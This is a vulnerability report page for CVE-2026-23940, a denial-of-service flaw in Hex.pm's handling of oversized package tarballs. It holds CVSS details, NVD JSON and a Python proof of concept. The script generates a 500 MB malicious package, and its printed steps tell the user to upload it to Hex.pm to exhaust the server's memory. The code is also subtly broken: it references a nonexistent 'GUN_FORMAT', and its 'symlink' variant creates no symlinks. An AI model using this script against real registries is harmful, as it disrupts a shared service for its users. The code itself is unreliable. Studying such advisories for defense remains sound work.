Security Vulnerability Report
中文
CVE-2026-23940 CVSS 6.5 MEDIUM

CVE-2026-23940

Published: 2026-03-13 19:54:15
Last Modified: 2026-04-06 17:17:08
Source: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

Description

Uncontrolled Resource Consumption vulnerability in hexpm hexpm/hexpm allows Excessive Allocation. Publishing an oversized package can cause Hex.pm to run out of memory while extracting the uploaded package tarball. This can terminate the affected application instance and result in a denial of service for package publishing and potentially other package-processing functionality. This issue affects hexpm: before 495f01607d3eae4aed7ad09b2f54f31ec7a7df01; hex.pm: before 2026-03-10.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:hex:hexpm:*:*:*:*:*:*:*:* - VULNERABLE
hexpm < 495f01607d3eae4aed7ad09b2f54f31ec7a7df01
hex.pm < 2026-03-10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-23940 PoC - Hex.pm Uncontrolled Resource Consumption This PoC demonstrates creating an oversized package tarball that could cause memory exhaustion in Hex.pm during package extraction. Note: This is for educational and security testing purposes only. """ import tarfile import io import os def create_oversized_tarball(output_path, target_size_mb=500): """ Create an oversized tarball to trigger resource exhaustion in Hex.pm Args: output_path: Path to save the generated tarball target_size_mb: Target size of the tarball in MB """ print(f"[*] Creating oversized tarball ({target_size_mb}MB)...") # Create a tarball with large files with tarfile.open(output_path, "w", format=tarfile.GNU_FORMAT) as tar: # Add metadata file metadata = b"""{ "name": "malicious_package", "version": "1.0.0", "description": "Oversized package for DoS testing" } """ info = tarfile.TarInfo(name="hex_metadata.config") info.size = len(metadata) tar.addfile(info, io.BytesIO(metadata)) # Add large dummy files to exhaust memory during extraction chunk_size = 1024 * 1024 # 1MB chunks num_chunks = target_size_mb for i in range(num_chunks): large_data = b"A" * chunk_size info = tarfile.TarInfo(name=f"large_file_{i}.dat") info.size = chunk_size tar.addfile(info, io.BytesIO(large_data)) if (i + 1) % 50 == 0: print(f"[+] Added {i + 1}/{num_chunks} MB to tarball") print(f"[+] Tarball created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path) / (1024*1024):.2f} MB") def create_malicious_tarball_with_symlink(output_path, target_dir): """ Create a tarball with symlinks to trigger path traversal or memory exhaustion """ print(f"[*] Creating tarball with symlinks in {target_dir}...") # Create target directory os.makedirs(target_dir, exist_ok=True) with tarfile.open(output_path, "w", format=tarfile.GUN_FORMAT) as tar: # Add metadata metadata = b'{"name": "symlink_package", "version": "1.0.0"}' info = tarfile.TarInfo(name="hex_metadata.config") info.size = len(metadata) tar.addfile(info, io.BytesIO(metadata)) # Create many small files that expand during extraction for i in range(10000): content = b"X" * 100000 # 100KB each info = tarfile.TarInfo(name=f"data/file_{i}.bin") info.size = len(content) tar.addfile(info, io.BytesIO(content)) print(f"[+] Symlink tarball created: {output_path}") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="CVE-2026-23940 PoC Generator") parser.add_argument("-o", "--output", default="oversized_package.tar", help="Output tarball path") parser.add_argument("-s", "--size", type=int, default=500, help="Target size in MB") parser.add_argument("--symlink", action="store_true", help="Create symlink variant") args = parser.parse_args() if args.symlink: create_malicious_tarball_with_symlink(args.output, "temp_extract") else: create_oversized_tarball(args.output, args.size) print("\n[!] Usage with Hex.pm:") print(f"[!] 1. Upload the generated tarball to Hex.pm via API or web interface") print(f"[!] 2. Monitor server memory usage during package extraction") print(f"[!] 3. Expected result: Memory exhaustion leading to DoS")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23940", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-03-13T19:54:14.640", "lastModified": "2026-04-06T17:17:08.123", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled Resource Consumption vulnerability in hexpm hexpm/hexpm allows Excessive Allocation. Publishing an oversized package can cause Hex.pm to run out of memory while extracting the uploaded package tarball. This can terminate the affected application instance and result in a denial of service for package publishing and potentially other package-processing functionality.\n\nThis issue affects hexpm: before 495f01607d3eae4aed7ad09b2f54f31ec7a7df01; hex.pm: before 2026-03-10."}, {"lang": "es", "value": "Una vulnerabilidad de consumo de recursos no controlado en hexpm hexpm/hexpm permite una asignación excesiva. Publicar un paquete sobredimensionado puede hacer que Hex.pm se quede sin memoria mientras extrae el tarball del paquete subido. Esto puede terminar la instancia de aplicación afectada y resultar en una denegación de servicio para la publicación de paquetes y potencialmente otras funcionalidades de procesamiento de paquetes.\n\nEste problema afecta a hexpm: antes de 495f01607d3eae4aed7ad09b2f54f31ec7a7df01; hex.pm: antes del 2026-03-10."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hex:hexpm:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-03-09", "matchCriteriaId": "BD8E3FFD-F93D-40D5-9C75-F87995F3A7AF"}]}]}], "references": [{"url": "https://cna.erlef.org/cves/CVE-2026-23940.html", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db"}, {"url": "https://github.com/hexpm/hexpm/commit/495f01607d3eae4aed7ad09b2f54f31ec7a7df01", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Patch"]}, {"url": "https://github.com/hexpm/hexpm/security/advisories/GHSA-jp8w-gxf6-8hcr", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://osv.dev/vulnerability/EEF-CVE-2026-23940", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db"}]}}